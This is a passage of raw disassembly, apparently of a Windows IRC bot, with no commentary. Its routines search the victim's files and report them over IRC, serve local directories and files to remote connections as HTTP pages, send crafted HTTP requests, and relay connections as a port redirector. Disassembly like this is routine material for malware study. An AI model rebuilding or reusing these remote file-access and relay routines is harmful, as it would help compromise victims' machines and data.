= byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41BD60 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh push eax jz short loc_40FF3E push offset aS_5 ; "\\%s" jmp short loc_40FF46 ; --------------------------------------------------------------------------- loc_40FF3E: ; CODE XREF: sub_40FF08+2Dj mov byte ptr [eax], 5Ch push offset aS_2 ; "%s" loc_40FF46: ; CODE XREF: sub_40FF08+34j lea eax, [ebp+var_10C] push eax call sub_41C056 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41B7B0 test eax, eax pop ecx jbe short loc_40FFE1 mov [ebp+arg_8], 2 loc_40FF71: ; CODE XREF: sub_40FF08+D7j lea eax, [ebp+var_10C] push eax call sub_41B7B0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40FFB1 cmp [ebp+esi+var_10C], 25h jnz short loc_40FFB1 cmp [ebp+esi+var_10B], 32h jnz short loc_40FFB1 cmp [ebp+esi+var_10A], 30h jnz short loc_40FFB1 inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40FFCB ; --------------------------------------------------------------------------- loc_40FFB1: ; CODE XREF: sub_40FF08+79j ; sub_40FF08+83j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40FFC1 push 5Ch pop eax jmp short loc_40FFC4 ; --------------------------------------------------------------------------- loc_40FFC1: ; CODE XREF: sub_40FF08+B2j movsx eax, al loc_40FFC4: ; CODE XREF: sub_40FF08+B7j mov [ebp+ebx+var_210], al loc_40FFCB: ; CODE XREF: sub_40FF08+A7j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41B7B0 cmp esi, eax pop ecx jb short loc_40FF71 loc_40FFE1: ; CODE XREF: sub_40FF08+60j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_42AB10 push eax call sub_41C056 lea eax, [ebp+var_314] push offset asc_42B120 ; "\n" push eax call sub_41C8C4 add esp, 18h lea eax, [ebp+var_314] push eax call dword_428098 ; GetFileAttributesA xor esi, esi inc esi cmp eax, 10h jz short loc_41002F cmp eax, 0FFFFFFFFh jnz short loc_410032 push [ebp+arg_0] jmp short loc_4100AE ; --------------------------------------------------------------------------- loc_41002F: ; CODE XREF: sub_40FF08+11Bj mov [ebp+var_4], esi loc_410032: ; CODE XREF: sub_40FF08+120j cmp [ebp+ebx+var_211], 5Ch jnz short loc_41003F mov [ebp+var_4], esi loc_41003F: ; CODE XREF: sub_40FF08+132j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_4100B9 loc_410053: ; DATA XREF: .packed:00433C5Do ; .packed:0043448Do cmp [ebp+arg_C], edi jz short loc_4100AD lea eax, [ebp+var_314] push offset asc_4367A0 ; "*" push eax call sub_41C690 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41C056 lea eax, [ebp+var_210] push eax call sub_4108F5 lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41C056 add esp, 1Ch or [ebp+var_330], 0FFFFFFFFh mov [ebp+var_31C], esi jmp short loc_410108 ; --------------------------------------------------------------------------- loc_4100AD: ; CODE XREF: sub_40FF08+14Ej push ebx loc_4100AE: ; CODE XREF: sub_40FF08+125j call dword_4CDCFC ; closesocket jmp loc_41019E ; --------------------------------------------------------------------------- loc_4100B9: ; CODE XREF: sub_40FF08+149j push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call dword_4280EC ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_410108 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41C056 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call dword_42810C ; GetFileSize push esi mov [ebp+var_330], eax call dword_42806C ; CloseHandle loc_410108: ; CODE XREF: sub_40FF08+1A3j ; sub_40FF08+1CEj mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_43676C push eax call sub_41C056 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40AF8D mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_440B9C[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40FD8C push edi push edi call dword_42807C ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_440BAC[ecx], eax jnz short loc_4101AD push ebx call dword_4CDCFC ; closesocket call dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_8C4] push offset unk_436734 push eax call sub_41C056 lea eax, [ebp+var_8C4] push eax call sub_4157A5 add esp, 10h loc_41019E: ; CODE XREF: sub_40FF08+1ACj ; sub_40FF08+2ADj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_4101A5: ; CODE XREF: sub_40FF08+2ABj push 5 call dword_428064 ; Sleep loc_4101AD: ; CODE XREF: sub_40FF08+266j cmp [ebp+var_318], edi jz short loc_4101A5 jmp short loc_41019E sub_40FF08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4101B7 proc near ; CODE XREF: sub_401B66+765Ap ; sub_40FD8C+153p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41BD60 mov edi, [ebp+arg_0] push offset asc_42B120 ; "\n" push edi call sub_41C8C4 add esp, 14h cmp [ebp+arg_8], ebx push edi jz short loc_410216 push [ebp+arg_8] mov esi, 200h lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41C150 add esp, 14h jmp loc_410312 ; --------------------------------------------------------------------------- loc_410216: ; CODE XREF: sub_4101B7+3Bj cmp [ebp+arg_C], ebx jz loc_4102F8 call sub_41B7B0 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41C150 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CDCB4 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41C150 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CDCB4 ; send push edi call sub_41B7B0 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41C150 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CDCB4 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41C150 add esp, 0Ch jmp short loc_410312 ; --------------------------------------------------------------------------- loc_4102F8: ; CODE XREF: sub_4101B7+62j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41C150 add esp, 10h loc_410312: ; CODE XREF: sub_4101B7+5Aj ; sub_4101B7+13Fj lea eax, [ebp+var_248] push ebx push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CDCB4 ; send cmp [ebp+arg_C], ebx jz short loc_4103AA push [ebp+arg_C] call sub_41B7B0 cmp eax, 2 pop ecx jbe short loc_4103AA push [ebp+arg_C] call sub_41B7B0 sub eax, 3 pop ecx jz short loc_41035E loc_410352: ; CODE XREF: sub_4101B7+1A5j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_41035E dec eax jnz short loc_410352 loc_41035E: ; CODE XREF: sub_4101B7+199j ; sub_4101B7+1A2j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41BDC0 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41C150 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CDCB4 ; send loc_4103AA: ; CODE XREF: sub_4101B7+17Dj ; sub_4101B7+18Bj lea eax, [ebp+var_388] push eax push edi call dword_428000 ; FindFirstFileA lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call dword_42811C ; FindNextFileA test eax, eax jz loc_4107A1 mov edi, 1FFh loc_4103D6: ; CODE XREF: sub_4101B7+5E4j cmp [ebp+var_388], ebx jz loc_410789 lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C840 pop ecx test eax, eax pop ecx jz loc_410789 lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C840 pop ecx test eax, eax pop ecx jz loc_410789 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call dword_428118 ; FileTimeToLocalFileTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call dword_428114 ; FileTimeToSystemTime mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja loc_4104D3 mov ecx, offset aAm ; "AM" movzx eax, ax loc_410452: ; CODE XREF: sub_4101B7+322j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41C056 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_41060A inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_4104DE lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C150 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_41C150 add esp, 28h jmp loc_41075A ; --------------------------------------------------------------------------- loc_4104D3: ; CODE XREF: sub_4101B7+28Dj movzx eax, ax sub eax, 0Ch jmp loc_410452 ; --------------------------------------------------------------------------- loc_4104DE: ; CODE XREF: sub_4101B7+2D5j cmp [ebp+arg_C], ebx jz loc_4105C8 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C150 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CDCB4 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_1 ; "%s%s/" push edi push eax call sub_41C150 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CDCB4 ; send lea eax, [ebp+var_35C] push eax call sub_41B7B0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] jbe short loc_410584 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_410589 ; --------------------------------------------------------------------------- loc_410584: ; CODE XREF: sub_4101B7+3C4j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_410589: ; CODE XREF: sub_4101B7+3CBj push edi push eax call sub_41C150 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CDCB4 ; send lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_41074B ; --------------------------------------------------------------------------- loc_4105C8: ; CODE XREF: sub_4101B7+32Aj lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C150 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_4105F5: ; CODE XREF: sub_4101B7+47Bj lea eax, [ebp+var_248] push esi push eax call sub_41C150 add esp, 24h jmp loc_41075A ; --------------------------------------------------------------------------- loc_41060A: ; CODE XREF: sub_4101B7+2C9j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_410634 push ebx push [ebp+var_368] call sub_416E8B push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_4105F5 ; --------------------------------------------------------------------------- loc_410634: ; CODE XREF: sub_4101B7+459j cmp [ebp+arg_C], ebx jz loc_410734 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C150 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CDCB4 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_42AB10 push edi push eax call sub_41C150 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CDCB4 ; send lea eax, [ebp+var_35C] push eax call sub_41B7B0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] jbe short loc_4106DA push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_4106DF ; --------------------------------------------------------------------------- loc_4106DA: ; CODE XREF: sub_4101B7+51Aj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_4106DF: ; CODE XREF: sub_4101B7+521j push edi push eax call sub_41C150 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CDCB4 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_41C150 add esp, 1Ch jmp short loc_41075A ; --------------------------------------------------------------------------- loc_410734: ; CODE XREF: sub_4101B7+480j push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_41074B: ; CODE XREF: sub_4101B7+40Cj lea eax, [ebp+var_248] push eax call sub_41C150 add esp, 18h loc_41075A: ; CODE XREF: sub_4101B7+317j ; sub_4101B7+44Ej ... lea eax, [ebp+var_248] push ebx push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CDCB4 ; send cmp [ebp+arg_8], ebx jz short loc_410789 push 7D0h call dword_428064 ; Sleep loc_410789: ; CODE XREF: sub_4101B7+225j ; sub_4101B7+240j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call dword_42811C ; FindNextFileA test eax, eax jnz loc_4103D6 loc_4107A1: ; CODE XREF: sub_4101B7+214j push [ebp+arg_0] call dword_428110 ; FindClose cmp [ebp+arg_8], ebx jz short loc_4107E4 mov eax, [ebp+var_8] cdq push edx push eax call sub_416E8B pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416E8B pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41C056 add esp, 14h jmp short loc_410812 ; --------------------------------------------------------------------------- loc_4107E4: ; CODE XREF: sub_4101B7+5F6j cmp [ebp+arg_C], ebx lea eax, [ebp+var_248] jz short loc_4107FE push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41C056 pop ecx pop ecx jmp short loc_410812 ; --------------------------------------------------------------------------- loc_4107FE: ; CODE XREF: sub_4101B7+636j push [ebp+var_8] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41C056 add esp, 10h loc_410812: ; CODE XREF: sub_4101B7+62Bj ; sub_4101B7+645j lea eax, [ebp+var_248] push ebx push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CDCB4 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_4101B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410838 proc near ; CODE XREF: sub_40FD8C+135p var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call dword_4280EC ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4108F0 push esi push ebx call dword_42810C ; GetFileSize cmp eax, esi mov [ebp+arg_4], eax jz short loc_4108E9 loc_41087D: ; CODE XREF: sub_410838+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41BD60 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_41089A mov edi, [ebp+arg_4] loc_41089A: ; CODE XREF: sub_410838+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call dword_428120 ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call dword_4280E8 ; ReadFile push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CDCB4 ; send cmp eax, 0FFFFFFFFh jnz short loc_4108E4 call dword_4CDBF8 ; WSAGetLastError cmp eax, 2733h jnz short loc_4108E9 xor eax, eax loc_4108E4: ; CODE XREF: sub_410838+9Bj sub [ebp+arg_4], eax jnz short loc_41087D loc_4108E9: ; CODE XREF: sub_410838+43j ; sub_410838+A8j push ebx call dword_42806C ; CloseHandle loc_4108F0: ; CODE XREF: sub_410838+30j pop edi pop esi pop ebx leave retn sub_410838 endp ; =============== S U B R O U T I N E ======================================= sub_4108F5 proc near ; CODE XREF: sub_40FF08+17Bp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41B7B0 test eax, eax pop ecx jbe short loc_41091E loc_410908: ; CODE XREF: sub_4108F5+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_410912 mov byte ptr [esi+edi], 2Fh loc_410912: ; CODE XREF: sub_4108F5+17j push edi inc esi call sub_41B7B0 cmp esi, eax pop ecx jb short loc_410908 loc_41091E: ; CODE XREF: sub_4108F5+11j mov eax, edi pop edi pop esi retn sub_4108F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410923 proc near ; CODE XREF: sub_401B66+51BBp var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CDBD4 ; WSAStartup push 6 push 1 push 2 call dword_4CDCE4 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BD60 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CDC64 ; ntohs push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AA04 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CDC0C ; connect cmp eax, 0FFFFFFFFh jz short loc_410A00 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_41099C mov eax, offset byte_43FE14 loc_41099C: ; CODE XREF: sub_410923+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41C150 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CDCB4 ; send push esi lea eax, [ebp+var_110] push edi push eax call near ptr sub_41CAE0 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CDC7C ; recv pop esi loc_410A00: ; CODE XREF: sub_410923+6Bj push ebx call dword_4CDCFC ; closesocket call dword_4CDBBC ; WSACleanup lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41C056 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_410A40 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 14h loc_410A40: ; CODE XREF: sub_410923+102j pop edi pop ebx leave retn sub_410923 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_410A44 proc near ; DATA XREF: sub_401B66+605Bo var_350 = byte ptr -350h var_150 = byte ptr -150h var_14C = dword ptr -14Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_150] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp+var_14] push esi push eax call sub_41BD60 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_44] call dword_4CDC64 ; ntohs push 6 push 1 push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi mov [ebp+var_4], edi call dword_4CDCE4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_410BAF mov ecx, [ebp+var_40] push 1 imul ecx, 234h push 401h push esi push eax mov dword_440BA4[ecx], eax call dword_4CDB74 ; WSAAsyncSelect lea eax, [ebp+var_14] push edi push eax push [ebp+arg_0] call dword_4CDC90 ; bind test eax, eax jnz loc_410BAF push 0Ah push [ebp+arg_0] call dword_4CDC8C ; listen test eax, eax jnz loc_410BAF loc_410AF4: ; CODE XREF: sub_410A44+C6j ; sub_410A44+166j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] call dword_4CDCF8 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_410AF4 movzx eax, [ebp+var_26] push [ebp+var_40] mov [ebp+var_14C], edi mov [ebp+var_30], esi push eax push [ebp+var_24] call dword_4CDCF0 ; inet_ntoa push eax lea eax, [ebp+var_350] push offset unk_436C90 push eax call sub_41C056 push edi lea eax, [ebp+var_350] push 18h push eax call sub_40AF8D mov [ebp+var_3C], eax imul eax, 234h mov ecx, [ebp+var_40] add esp, 20h mov dword_440B9C[eax], ecx lea eax, [ebp+var_18] push eax lea eax, [ebp+var_150] push esi push eax push offset sub_410BD4 push esi push esi call dword_42807C ; CreateThread mov ecx, [ebp+var_3C] imul ecx, 234h cmp eax, esi mov dword_440BAC[ecx], eax jnz short loc_410BA5 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_436C50 call sub_415819 pop ecx pop ecx jmp short loc_410BB2 ; --------------------------------------------------------------------------- loc_410B9D: ; CODE XREF: sub_410A44+164j push 32h call dword_428064 ; Sleep loc_410BA5: ; CODE XREF: sub_410A44+142j cmp [ebp+var_30], esi jz short loc_410B9D jmp loc_410AF4 ; --------------------------------------------------------------------------- loc_410BAF: ; CODE XREF: sub_410A44+63j ; sub_410A44+97j ... mov edi, [ebp+arg_0] loc_410BB2: ; CODE XREF: sub_410A44+157j push edi call dword_4CDCFC ; closesocket push [ebp+arg_0] call dword_4CDCFC ; closesocket push [ebp+var_40] call sub_40B2A3 pop ecx push esi call dword_4280CC ; ExitThread pop edi pop esi sub_410A44 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_410BD4 proc near ; DATA XREF: sub_410A44+124o var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_41C2F0 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] xor ecx, ecx inc ecx push 6 push ecx push 2 mov [eax+120h], ecx mov [ebp+var_4], ebx call dword_4CDCE4 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_410D37 push 10h lea eax, [ebp+var_18] push edi push eax call sub_41BD60 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call dword_4CDC64 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_4CDCA4 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_410C64 lea eax, [ebp+var_13C] push eax call dword_4CDCE8 ; gethostbyname jmp short loc_410C72 ; --------------------------------------------------------------------------- loc_410C64: ; CODE XREF: sub_410BD4+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CDC1C ; gethostbyaddr loc_410C72: ; CODE XREF: sub_410BD4+8Ej cmp eax, edi jz loc_410D37 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call dword_4CDC0C ; connect cmp eax, 0FFFFFFFFh jz loc_410D37 movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call dword_4CDCF0 ; inet_ntoa push eax lea eax, [ebp+var_344] push offset unk_436D18 push eax call sub_41C056 push esi lea eax, [ebp+var_344] push 18h push eax call sub_40AF8D imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_440BA4[ebx] mov dword_440B9C[eax], ecx add esp, 20h mov ecx, [esi] mov dword_440BA8[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_410DBC push edi push edi call dword_42807C ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov dword_440BAC[ecx], eax jnz short loc_410D70 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_436CD8 call sub_415819 pop ecx pop ecx loc_410D37: ; CODE XREF: sub_410BD4+44j ; sub_410BD4+A0j ... mov eax, [ebp+var_4] imul eax, 234h push dword_440BA4[eax] call dword_4CDCFC ; closesocket push [ebp+arg_0] call dword_4CDCFC ; closesocket push [ebp+var_4] call sub_40B2A3 pop ecx push edi call dword_4280CC ; ExitThread pop edi pop esi pop 